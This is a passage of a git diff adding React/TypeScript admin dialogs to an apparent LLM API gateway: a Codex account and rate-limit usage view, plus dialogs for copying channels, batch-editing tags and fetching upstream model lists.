+    PLAN_TYPE_BADGE[normalized] ?? {
+      label: String(value || '') || t('Unknown'),
+      variant: 'neutral' as const,
+    }
+  )
+}
+
+function windowLabel(windowData?: CodexRateLimitWindow | null) {
+  const percent = clampPercent(windowData?.used_percent)
+  const variant: StatusBadgeProps['variant'] =
+    percent >= 95 ? 'danger' : percent >= 80 ? 'warning' : 'info'
+  return { percent, variant }
+}
+
+type RateLimitWindowProps = {
+  title: string
+  window?: CodexRateLimitWindow | null
+}
+
+function RateLimitWindow(props: RateLimitWindowProps) {
+  const { t } = useTranslation()
+  const hasData =
+    !!props.window &&
+    typeof props.window === 'object' &&
+    Object.keys(props.window).length > 0
+  const { percent, variant } = windowLabel(props.window)
+
+  return (
+    <div className='rounded-lg border p-4'>
+      <div className='flex items-center justify-between gap-2'>
+        <div className='text-sm font-medium'>{props.title}</div>
+        <StatusBadge label={`${percent}%`} variant={variant} copyable={false} />
+      </div>
+      <div className='mt-3'>
+        <Progress
+          value={percent}
+          aria-label={`${props.title} usage: ${percent}%`}
+        />
+      </div>
+      {hasData ? (
+        <div className='text-muted-foreground mt-2 space-y-1 text-xs'>
+          <div>
+            {t('Reset at:')} {formatUnixSeconds(props.window?.reset_at)}
+          </div>
+          <div>
+            {t('Resets in:')}{' '}
+            {formatDurationSeconds(props.window?.reset_after_seconds, t)}
+          </div>
+          <div>
+            {t('Window:')}{' '}
+            {formatDurationSeconds(props.window?.limit_window_seconds, t)}
+          </div>
+        </div>
+      ) : (
+        <div className='text-muted-foreground mt-2 text-xs'>-</div>
+      )}
+    </div>
+  )
+}
+
+type RateLimitGroupSectionProps = {
+  title: string
+  description?: string
+  source: RateLimitSource | null
+  meteredFeature?: string
+}
+
+function RateLimitGroupSection(props: RateLimitGroupSectionProps) {
+  const { t } = useTranslation()
+  const { fiveHourWindow, weeklyWindow } = resolveRateLimitWindows(props.source)
+
+  return (
+    <section className='space-y-3'>
+      <div className='space-y-1'>
+        <div className='text-sm font-semibold'>{props.title}</div>
+        {(props.description || props.meteredFeature) && (
+          <div className='text-muted-foreground flex flex-wrap items-center gap-2 text-xs'>
+            {props.description && <span>{props.description}</span>}
+            {props.meteredFeature && (
+              <span className='bg-muted/60 inline-flex max-w-full items-center gap-2 rounded-full px-2 py-0.5'>
+                <span className='text-[11px]'>metered_feature</span>
+                <span className='min-w-0 font-mono text-xs break-all'>
+                  {props.meteredFeature}
+                </span>
+              </span>
+            )}
+          </div>
+        )}
+      </div>
+      <div className='grid grid-cols-1 gap-4 md:grid-cols-2'>
+        <RateLimitWindow title={t('5-Hour Window')} window={fiveHourWindow} />
+        <RateLimitWindow title={t('Weekly Window')} window={weeklyWindow} />
+      </div>
+    </section>
+  )
+}
+
+function CopyableField(props: {
+  icon: React.ReactNode
+  label: string
+  value?: string | null
+  mono?: boolean
+}) {
+  const { copyToClipboard, copiedText } = useCopyToClipboard({ notify: false })
+  const text = props.value?.trim() || ''
+  const hasCopied = copiedText === text
+
+  return (
+    <div className='flex items-center justify-between gap-2 py-1'>
+      <div className='flex min-w-0 items-center gap-2'>
+        <span className='text-muted-foreground flex-shrink-0'>
+          {props.icon}
+        </span>
+        <span className='text-muted-foreground flex-shrink-0 text-xs'>
+          {props.label}
+        </span>
+        <span
+          className={`min-w-0 truncate text-xs ${props.mono ? 'font-mono' : ''}`}
+        >
+          {text || '-'}
+        </span>
+      </div>
+      {text && (
+        <Button
+          type='button'
+          variant='ghost'
+          size='sm'
+          className='h-6 w-6 flex-shrink-0 p-0'
+          onClick={() => copyToClipboard(text)}
+        >
+          {hasCopied ? (
+            <Check className='h-3 w-3 text-green-600' />
+          ) : (
+            <Copy className='h-3 w-3' />
+          )}
+        </Button>
+      )}
+    </div>
+  )
+}
+
+export function CodexUsageDialog({
+  open,
+  onOpenChange,
+  channelName,
+  channelId,
+  response,
+  onRefresh,
+  isRefreshing,
+}: CodexUsageDialogProps) {
+  const { t } = useTranslation()
+  const { copiedText, copyToClipboard } = useCopyToClipboard({ notify: false })
+  const [showRawJson, setShowRawJson] = useState(false)
+
+  const payload: CodexUsagePayload | null = useMemo(() => {
+    const raw = response?.data
+    if (!raw || typeof raw !== 'object') return null
+    return raw as CodexUsagePayload
+  }, [response?.data])
+
+  const rateLimit = payload?.rate_limit
+  const accountType = payload?.plan_type ?? rateLimit?.plan_type
+  const accountBadge = getAccountTypeBadge(accountType, t)
+  const additionalRateLimits = (payload?.additional_rate_limits ?? []).filter(
+    (item) => item && Object.keys(item).length > 0
+  )
+
+  const statusBadge = (() => {
+    if (!rateLimit || Object.keys(rateLimit).length === 0) {
+      return (
+        <StatusBadge label={t('Pending')} variant='neutral' copyable={false} />
+      )
+    }
+    if (rateLimit.allowed && !rateLimit.limit_reached) {
+      return (
+        <StatusBadge
+          label={t('Available')}
+          variant='success'
+          copyable={false}
+        />
+      )
+    }
+    return (
+      <StatusBadge label={t('Limited')} variant='danger' copyable={false} />
+    )
+  })()
+
+  const errorMessage =
+    response?.success === false
+      ? response?.message?.trim() || t('Failed to fetch usage')
+      : ''
+
+  const rawJsonText = useMemo(() => {
+    if (!response) return ''
+    try {
+      return JSON.stringify(
+        {
+          success: response.success,
+          message: response.message,
+          upstream_status: response.upstream_status,
+          data: response.data,
+        },
+        null,
+        2
+      )
+    } catch {
+      return String(response?.data ?? '')
+    }
+  }, [response])
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-3xl'>
+        <DialogHeader>
+          <DialogTitle className='flex items-center gap-2'>
+            {t('Codex Account & Usage')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Channel:')} <strong>{channelName || '-'}</strong>{' '}
+            {channelId ? `(#${channelId})` : ''}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4'>
+          {errorMessage && (
+            <div className='rounded-lg border border-red-200 bg-red-50 px-4 py-3 text-sm text-red-700 dark:border-red-800 dark:bg-red-950/30 dark:text-red-400'>
+              {errorMessage}
+            </div>
+          )}
+
+          {/* Account summary */}
+          <div className='rounded-lg border p-4'>
+            <div className='flex flex-wrap items-center justify-between gap-2'>
+              <div className='flex flex-wrap items-center gap-2'>
+                <StatusBadge
+                  label={accountBadge.label}
+                  variant={accountBadge.variant}
+                  copyable={false}
+                />
+                {statusBadge}
+                {typeof response?.upstream_status === 'number' && (
+                  <StatusBadge
+                    label={`${t('Status:')} ${response.upstream_status}`}
+                    variant='neutral'
+                    copyable={false}
+                  />
+                )}
+              </div>
+              {onRefresh && (
+                <Button
+                  type='button'
+                  variant='outline'
+                  size='sm'
+                  onClick={onRefresh}
+                  disabled={Boolean(isRefreshing)}
+                >
+                  <RefreshCw className='mr-1.5 h-3.5 w-3.5' />
+                  {t('Refresh')}
+                </Button>
+              )}
+            </div>
+
+            {/* Account identity info */}
+            <div className='bg-muted/30 mt-3 rounded-md px-3 py-2'>
+              <CopyableField
+                icon={<User className='h-3.5 w-3.5' />}
+                label='User ID'
+                value={payload?.user_id}
+                mono
+              />
+              <CopyableField
+                icon={<Mail className='h-3.5 w-3.5' />}
+                label={t('Email')}
+                value={payload?.email}
+              />
+              <CopyableField
+                icon={<Hash className='h-3.5 w-3.5' />}
+                label='Account ID'
+                value={payload?.account_id}
+                mono
+              />
+            </div>
+          </div>
+
+          {/* Rate limit windows */}
+          <div className='space-y-5'>
+            <div>
+              <div className='mb-1 text-sm font-medium'>
+                {t('Rate Limit Windows')}
+              </div>
+              <p className='text-muted-foreground mb-3 text-xs'>
+                {t(
+                  'Tracks current account base limits and additional metered usage on Codex upstream.'
+                )}
+              </p>
+              <RateLimitGroupSection
+                title={t('Base Limits')}
+                description={t('Base rate limit windows for this account.')}
+                source={payload}
+              />
+            </div>
+
+            {additionalRateLimits.length > 0 && (
+              <div className='space-y-4 border-t pt-4'>
+                <div>
+                  <div className='text-sm font-medium'>
+                    {t('Additional Limits')}
+                  </div>
+                  <p className='text-muted-foreground text-xs'>
+                    {t(
+                      'Per-feature metered windows split by model or capability.'
+                    )}
+                  </p>
+                </div>
+                <div className='space-y-4'>
+                  {additionalRateLimits.map((item, index) => {
+                    const limitName =
+                      item.limit_name ||
+                      item.metered_feature ||
+                      `${t('Additional Limit')} ${index + 1}`
+                    return (
+                      <div
+                        key={`${limitName}-${item.metered_feature ?? ''}-${index}`}
+                        className={index > 0 ? 'border-t pt-4' : ''}
+                      >
+                        <RateLimitGroupSection
+                          title={limitName}
+                          description={t('Additional metered capability')}
+                          source={item}
+                          meteredFeature={item.metered_feature}
+                        />
+                      </div>
+                    )
+                  })}
+                </div>
+              </div>
+            )}
+          </div>
+
+          {/* Raw JSON collapsible */}
+          <div className='rounded-lg border'>
+            <button
+              type='button'
+              className='hover:bg-muted/40 flex w-full items-center justify-between gap-2 p-3 transition-colors'
+              onClick={() => setShowRawJson((v) => !v)}
+            >
+              <div className='text-sm font-medium'>{t('Raw JSON')}</div>
+              {showRawJson ? (
+                <ChevronUp className='text-muted-foreground h-4 w-4' />
+              ) : (
+                <ChevronDown className='text-muted-foreground h-4 w-4' />
+              )}
+            </button>
+            {showRawJson && (
+              <>
+                <div className='flex justify-end border-t px-3 py-2'>
+                  <Button
+                    type='button'
+                    variant='outline'
+                    size='sm'
+                    onClick={() => copyToClipboard(rawJsonText)}
+                    disabled={!rawJsonText}
+                  >
+                    {copiedText === rawJsonText ? (
+                      <Check className='mr-1.5 h-3.5 w-3.5 text-green-600' />
+                    ) : (
+                      <Copy className='mr-1.5 h-3.5 w-3.5' />
+                    )}
+                    {t('Copy')}
+                  </Button>
+                </div>
+                <ScrollArea className='max-h-[50vh]'>
+                  <pre className='bg-muted/30 m-0 p-3 text-xs break-words whitespace-pre-wrap'>
+                    {rawJsonText || '-'}
+                  </pre>
+                </ScrollArea>
+              </>
+            )}
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button
+            type='button'
+            variant='outline'
+            onClick={() => onOpenChange(false)}
+          >
+            {t('Close')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/copy-channel-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/copy-channel-dialog.tsx
new file mode 100644
index 0000000..3a0353e
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/copy-channel-dialog.tsx
@@ -0,0 +1,113 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { handleCopyChannel } from '../../lib'
+import { useChannels } from '../channels-provider'
+
+type CopyChannelDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function CopyChannelDialog({
+  open,
+  onOpenChange,
+}: CopyChannelDialogProps) {
+  const { t } = useTranslation()
+  const { currentRow } = useChannels()
+  const queryClient = useQueryClient()
+  const [suffix, setSuffix] = useState('_copy')
+  const [resetBalance, setResetBalance] = useState(true)
+  const [isCopying, setIsCopying] = useState(false)
+
+  if (!currentRow) return null
+
+  const handleCopy = async () => {
+    setIsCopying(true)
+
+    await handleCopyChannel(
+      currentRow.id,
+      {
+        suffix,
+        reset_balance: resetBalance,
+      },
+      queryClient,
+      () => {
+        onOpenChange(false)
+        setSuffix('_copy')
+        setResetBalance(true)
+      }
+    )
+
+    setIsCopying(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>{t('Copy Channel')}</DialogTitle>
+          <DialogDescription>
+            {t('Create a copy of:')} <strong>{currentRow.name}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4 py-4'>
+          <div className='space-y-2'>
+            <Label htmlFor='suffix'>{t('Name Suffix')}</Label>
+            <Input
+              id='suffix'
+              placeholder={t('_copy')}
+              value={suffix}
+              onChange={(e) => setSuffix(e.target.value)}
+              disabled={isCopying}
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('New name will be:')} {currentRow.name}
+              {suffix}
+            </p>
+          </div>
+
+          <div className='flex items-center space-x-2'>
+            <Checkbox
+              id='reset-balance'
+              checked={resetBalance}
+              onCheckedChange={(checked) => setResetBalance(!!checked)}
+              disabled={isCopying}
+            />
+            <Label htmlFor='reset-balance' className='text-sm font-normal'>
+              {t('Reset balance and used quota')}
+            </Label>
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button
+            variant='outline'
+            onClick={() => onOpenChange(false)}
+            disabled={isCopying}
+          >
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleCopy} disabled={isCopying}>
+            {isCopying && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {isCopying ? 'Copying...' : 'Copy Channel'}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/edit-tag-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/edit-tag-dialog.tsx
new file mode 100644
index 0000000..fe228d4
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/edit-tag-dialog.tsx
@@ -0,0 +1,420 @@
+import { useEffect, useState } from 'react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { ScrollArea } from '@/components/ui/scroll-area'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import { Textarea } from '@/components/ui/textarea'
+import { StatusBadge } from '@/components/status-badge'
+import {
+  editTagChannels,
+  getTagModels,
+  getAllModels,
+  getGroups,
+} from '../../api'
+import { channelsQueryKeys } from '../../lib'
+import type { TagOperationParams } from '../../types'
+import { useChannels } from '../channels-provider'
+
+type EditTagDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function EditTagDialog({ open, onOpenChange }: EditTagDialogProps) {
+  const { t } = useTranslation()
+  const { currentTag } = useChannels()
+  const queryClient = useQueryClient()
+
+  // Form state
+  const [newTag, setNewTag] = useState('')
+  const [selectedModels, setSelectedModels] = useState<string[]>([])
+  const [customModel, setCustomModel] = useState('')
+  const [modelMapping, setModelMapping] = useState('')
+  const [selectedGroups, setSelectedGroups] = useState<string[]>([])
+  const [isSubmitting, setIsSubmitting] = useState(false)
+
+  // Fetch tag models
+  const { data: tagModelsData, isLoading: isLoadingTagModels } = useQuery({
+    queryKey: ['tag-models', currentTag],
+    queryFn: () => (currentTag ? getTagModels(currentTag) : null),
+    enabled: open && !!currentTag,
+  })
+
+  // Fetch all available models
+  const { data: allModelsData } = useQuery({
+    queryKey: ['all-models'],
+    queryFn: getAllModels,
+    enabled: open,
+  })
+
+  // Fetch groups
+  const { data: groupsData } = useQuery({
+    queryKey: ['groups'],
+    queryFn: getGroups,
+    enabled: open,
+  })
+
+  const availableModels =
+    allModelsData?.data?.map((m) => m.id).filter(Boolean) || []
+  const availableGroups = groupsData?.data || []
+
+  // Initialize form when tag changes
+  useEffect(() => {
+    if (open && currentTag) {
+      setNewTag(currentTag)
+      setModelMapping('')
+      setSelectedGroups([])
+      setCustomModel('')
+
+      // Load tag models
+      if (tagModelsData?.data) {
+        const models = tagModelsData.data.split(',').filter(Boolean)
+        setSelectedModels(models)
+      } else {
+        setSelectedModels([])
+      }
+    }
+  }, [open, currentTag, tagModelsData])
+
+  const handleAddCustomModel = () => {
+    if (!customModel.trim()) return
+
+    const modelsToAdd = customModel
+      .split(',')
+      .map((m) => m.trim())
+      .filter(Boolean)
+      .filter((m) => !selectedModels.includes(m))
+
+    if (modelsToAdd.length > 0) {
+      setSelectedModels([...selectedModels, ...modelsToAdd])
+      toast.success(
+        t('Added {{count}} model(s)', { count: modelsToAdd.length })
+      )
+      setCustomModel('')
+    } else {
+      toast.info(t('No new models to add'))
+    }
+  }
+
+  const handleRemoveModel = (model: string) => {
+    setSelectedModels(selectedModels.filter((m) => m !== model))
+  }
+
+  const handleToggleGroup = (group: string) => {
+    setSelectedGroups((prev) =>
+      prev.includes(group) ? prev.filter((g) => g !== group) : [...prev, group]
+    )
+  }
+
+  const validateForm = () => {
+    // Validate model mapping if provided
+    if (modelMapping.trim()) {
+      try {
+        JSON.parse(modelMapping)
+      } catch {
+        toast.error(t('Model mapping must be valid JSON'))
+        return false
+      }
+    }
+    return true
+  }
+
+  const handleSubmit = async () => {
+    if (!currentTag) return
+    if (!validateForm()) return
+
+    // Check if anything changed
+    const hasChanges =
+      newTag !== currentTag ||
+      modelMapping.trim() ||
+      selectedModels.length > 0 ||
+      selectedGroups.length > 0
+
+    if (!hasChanges) {
+      toast.warning(t('No changes to save'))
+      return
+    }
+
+    setIsSubmitting(true)
+    try {
+      const params: Record<string, string | null> = { tag: currentTag }
+
+      if (newTag && newTag !== currentTag) {
+        params.new_tag = newTag || null
+      }
+
+      if (modelMapping.trim()) {
+        params.model_mapping = modelMapping
+      }
+
+      if (selectedModels.length > 0) {
+        params.models = selectedModels.join(',')
+      }
+
+      if (selectedGroups.length > 0) {
+        params.groups = selectedGroups.join(',')
+      }
+
+      const response = await editTagChannels(
+        params as unknown as TagOperationParams
+      )
+
+      if (response.success) {
+        toast.success(t('Tag updated successfully'))
+        queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+        onOpenChange(false)
+      } else {
+        toast.error(response.message || t('Failed to update tag'))
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to update tag')
+      )
+    } finally {
+      setIsSubmitting(false)
+    }
+  }
+
+  const handleClose = () => {
+    onOpenChange(false)
+  }
+
+  if (!currentTag) return null
+
+  return (
+    <Dialog open={open} onOpenChange={handleClose}>
+      <DialogContent className='max-h-[90vh] max-w-2xl'>
+        <DialogHeader>
+          <DialogTitle>
+            {t('Edit Tag:')} {currentTag}
+          </DialogTitle>
+          <DialogDescription>
+            {t(
+              'Batch edit all channels with this tag. Leave fields empty to keep current values.'
+            )}
+          </DialogDescription>
+        </DialogHeader>
+
+        <ScrollArea className='max-h-[60vh] pr-4'>
+          <div className='space-y-6'>
+            {/* Tag Name */}
+            <div className='space-y-2'>
+              <Label htmlFor='new-tag'>
+                {t('Tag Name')}
+                <span className='text-muted-foreground ml-2 text-xs'>
+                  {t('(Leave empty to dissolve tag)')}
+                </span>
+              </Label>
+              <Input
+                id='new-tag'
+                value={newTag}
+                onChange={(e) => setNewTag(e.target.value)}
+                placeholder={t('Enter new tag name or leave empty')}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Models */}
+            <div className='space-y-2'>
+              <Label>
+                {t('Models')}
+                <span className='text-muted-foreground ml-2 text-xs'>
+                  {t("(Override all channels' models)")}
+                </span>
+              </Label>
+
+              {isLoadingTagModels ? (
+                <div className='flex items-center gap-2 py-4'>
+                  <Loader2 className='h-4 w-4 animate-spin' />
+                  <span className='text-muted-foreground text-sm'>
+                    {t('Loading current models...')}
+                  </span>
+                </div>
+              ) : (
+                <>
+                  <div className='flex min-h-[60px] flex-wrap gap-2 rounded-md border p-3'>
+                    {selectedModels.length > 0 ? (
+                      selectedModels.map((model) => (
+                        <StatusBadge
+                          key={model}
+                          variant='neutral'
+                          className='cursor-pointer transition-opacity hover:opacity-70'
+                          copyable={false}
+                          onClick={() => handleRemoveModel(model)}
+                        >
+                          {model} ×
+                        </StatusBadge>
+                      ))
+                    ) : (
+                      <span className='text-muted-foreground text-sm'>
+                        {t('No models selected')}
+                      </span>
+                    )}
+                  </div>
+
+                  <div className='flex gap-2'>
+                    <Select
+                      onValueChange={(value) => {
+                        if (!selectedModels.includes(value)) {
+                          setSelectedModels([...selectedModels, value])
+                        }
+                      }}
+                    >
+                      <SelectTrigger className='flex-1'>
+                        <SelectValue
+                          placeholder={t('Add from available models...')}
+                        />
+                      </SelectTrigger>
+                      <SelectContent>
+                        <ScrollArea className='h-60'>
+                          {availableModels.map((model) => (
+                            <SelectItem key={model} value={model}>
+                              {model}
+                            </SelectItem>
+                          ))}
+                        </ScrollArea>
+                      </SelectContent>
+                    </Select>
+                  </div>
+
+                  <div className='flex gap-2'>
+                    <Input
+                      placeholder={t('Custom model (comma-separated)')}
+                      value={customModel}
+                      onChange={(e) => setCustomModel(e.target.value)}
+                      onKeyDown={(e) => {
+                        if (e.key === 'Enter') {
+                          e.preventDefault()
+                          handleAddCustomModel()
+                        }
+                      }}
+                    />
+                    <Button
+                      type='button'
+                      variant='secondary'
+                      onClick={handleAddCustomModel}
+                    >
+                      {t('Add')}
+                    </Button>
+                  </div>
+                </>
+              )}
+            </div>
+
+            <Separator />
+
+            {/* Model Mapping */}
+            <div className='space-y-2'>
+              <Label htmlFor='model-mapping'>
+                {t('Model Mapping (JSON)')}
+                <span className='text-muted-foreground ml-2 text-xs'>
+                  {t('(Optional: redirect model names)')}
+                </span>
+              </Label>
+              <Textarea
+                id='model-mapping'
+                value={modelMapping}
+                onChange={(e) => setModelMapping(e.target.value)}
+                placeholder={'{\n  "gpt-3.5-turbo": "gpt-3.5-turbo-0125"\n}'}
+                rows={4}
+                className='font-mono text-sm'
+              />
+              <div className='flex gap-2'>
+                <Button
+                  type='button'
+                  variant='outline'
+                  size='sm'
+                  onClick={() =>
+                    setModelMapping(
+                      JSON.stringify(
+                        { 'gpt-3.5-turbo': 'gpt-3.5-turbo-0125' },
+                        null,
+                        2
+                      )
+                    )
+                  }
+                >
+                  {t('Example')}
+                </Button>
+                <Button
+                  type='button'
+                  variant='outline'
+                  size='sm'
+                  onClick={() => setModelMapping(JSON.stringify({}, null, 2))}
+                >
+                  {t('Clear Mapping')}
+                </Button>
+                <Button
+                  type='button'
+                  variant='outline'
+                  size='sm'
+                  onClick={() => setModelMapping('')}
+                >
+                  {t('No Change')}
+                </Button>
+              </div>
+            </div>
+
+            <Separator />
+
+            {/* Groups */}
+            <div className='space-y-2'>
+              <Label>
+                {t('Groups')}
+                <span className='text-muted-foreground ml-2 text-xs'>
+                  {t("(Override all channels' groups)")}
+                </span>
+              </Label>
+              <div className='flex min-h-[60px] flex-wrap gap-2 rounded-md border p-3'>
+                {availableGroups.map((group) => (
+                  <StatusBadge
+                    key={group}
+                    variant={
+                      selectedGroups.includes(group) ? 'info' : 'neutral'
+                    }
+                    className='cursor-pointer transition-opacity hover:opacity-70'
+                    copyable={false}
+                    onClick={() => handleToggleGroup(group)}
+                  >
+                    {group}
+                  </StatusBadge>
+                ))}
+              </div>
+            </div>
+          </div>
+        </ScrollArea>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={handleClose}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleSubmit} disabled={isSubmitting}>
+            {isSubmitting && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {t('Save Changes')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/fetch-models-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/fetch-models-dialog.tsx
new file mode 100644
index 0000000..d2c958e
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/fetch-models-dialog.tsx
@@ -0,0 +1,473 @@
+import { useState, useEffect, useMemo } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2, Search, Info, ChevronDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { fetchUpstreamModels, updateChannel } from '../../api'
+import {
+  channelsQueryKeys,
+  categorizeModelsWithRedirect,
+  normalizeModelName,
+  parseModelsString,
+} from '../../lib'
+import { useChannels } from '../channels-provider'
+
+function normalizeModelNameList(models: readonly string[]): string[] {
+  return Array.from(
+    new Set(models.map((m) => normalizeModelName(m)).filter(Boolean))
+  )
+}
+
+type FetchModelsDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onModelsSelected?: (models: string[]) => void
+  redirectModels?: string[]
+  redirectSourceModels?: string[]
+}
+
+export function FetchModelsDialog({
+  open,
+  onOpenChange,
+  onModelsSelected,
+  redirectModels = [],
+  redirectSourceModels = [],
+}: FetchModelsDialogProps) {
+  const { t } = useTranslation()
+  const { currentRow } = useChannels()
+  const queryClient = useQueryClient()
+  const [isFetching, setIsFetching] = useState(false)
+  const [isSaving, setIsSaving] = useState(false)
+  const [fetchedModels, setFetchedModels] = useState<string[]>([])
+  const [selectedModels, setSelectedModels] = useState<string[]>([])
+  const [searchKeyword, setSearchKeyword] = useState('')
+
+  // Parse existing models
+  const existingModels = useMemo(
+    () => parseModelsString(currentRow?.models || ''),
+    [currentRow?.models]
+  )
+
+  // Categorize models with redirect models
+  const modelCategories = useMemo(
+    () => categorizeModelsWithRedirect(existingModels, redirectModels),
+    [existingModels, redirectModels]
+  )
+
+  const { classificationSet, redirectOnlySet } = modelCategories
+
+  const fetchedModelSet = useMemo(
+    () => new Set(normalizeModelNameList(fetchedModels)),
+    [fetchedModels]
+  )
+
+  // Source keys in model_mapping are aliases, not real upstream IDs, so we
+  // must skip them when computing "removed upstream" entries to avoid false
+  // positives.
+  const redirectSourceKeysSet = useMemo(
+    () => new Set(normalizeModelNameList(redirectSourceModels)),
+    [redirectSourceModels]
+  )
+
+  const removedModels = useMemo(() => {
+    const kw = searchKeyword.toLowerCase().trim()
+    return normalizeModelNameList(selectedModels).filter((model) => {
+      if (fetchedModelSet.has(model)) return false
+      if (redirectSourceKeysSet.has(model)) return false
+      if (!kw) return true
+      return model.toLowerCase().includes(kw)
+    })
+  }, [fetchedModelSet, redirectSourceKeysSet, searchKeyword, selectedModels])
+
+  useEffect(() => {
+    if (open && currentRow) {
+      handleFetchModels()
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, currentRow?.id])
+
+  const handleFetchModels = async () => {
+    if (!currentRow) return
+
+    setIsFetching(true)
+    try {
+      const response = await fetchUpstreamModels(currentRow.id)
+      if (response.success) {
+        const list = Array.isArray(response.data) ? response.data : []
+        setFetchedModels(list)
+        setSelectedModels(existingModels)
+        toast.success(t('Fetched {{count}} models', { count: list.length }))
+      } else {
+        toast.error(response.message || t('Failed to fetch models'))
+        setFetchedModels([])
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to fetch models')
+      )
+      setFetchedModels([])
+    } finally {
+      setIsFetching(false)
+    }
+  }
+
+  const handleSave = async () => {
+    if (!currentRow) return
+
+    // If onModelsSelected callback is provided, use it (form filling mode)
+    if (onModelsSelected) {
+      onModelsSelected(selectedModels)
+      toast.success(t('Models filled to form'))
+      onOpenChange(false)
+      return
+    }
+
+    // Otherwise, directly save to API (standalone mode)
+    setIsSaving(true)
+    try {
+      const modelsString = selectedModels.join(',')
+      const response = await updateChannel(currentRow.id, {
+        models: modelsString,
+      })
+      if (response.success) {
+        toast.success(t('Models updated successfully'))
+        queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+        onOpenChange(false)
+      } else {
+        toast.error(response.message || t('Failed to update models'))
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to update models')
+      )
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  const handleClose = () => {
+    setFetchedModels([])
+    setSelectedModels([])
+    setSearchKeyword('')
+    onOpenChange(false)
+  }
+
+  // Categorize models by common prefixes
+  const categorizeModels = (models: string[]) => {
+    const categories: Record<string, string[]> = {}
+
+    models.forEach((model) => {
+      let category = 'Other'
+
+      // Determine category based on model name
+      if (
+        model.toLowerCase().includes('gpt') ||
+        model.toLowerCase().includes('o1') ||
+        model.toLowerCase().includes('o3')
+      ) {
+        category = 'OpenAI'
+      } else if (model.toLowerCase().includes('claude')) {
+        category = 'Anthropic'
+      } else if (model.toLowerCase().includes('gemini')) {
+        category = 'Gemini'
+      } else if (model.toLowerCase().includes('qwen')) {
+        category = 'Qwen'
+      } else if (model.toLowerCase().includes('deepseek')) {
+        category = 'DeepSeek'
+      } else if (model.toLowerCase().includes('glm')) {
+        category = 'Zhipu'
+      } else if (model.toLowerCase().includes('llama')) {
+        category = 'Meta'
+      } else if (model.toLowerCase().includes('mistral')) {
+        category = 'Mistral'
+      }
+
+      if (!categories[category]) {
+        categories[category] = []
+      }
+      categories[category].push(model)
+    })
+
+    return categories
+  }
+
+  // Filter models by search
+  const filteredModels = useMemo(() => {
+    if (!searchKeyword) return fetchedModels
+    return fetchedModels.filter((model) =>
+      model.toLowerCase().includes(searchKeyword.toLowerCase())
+    )
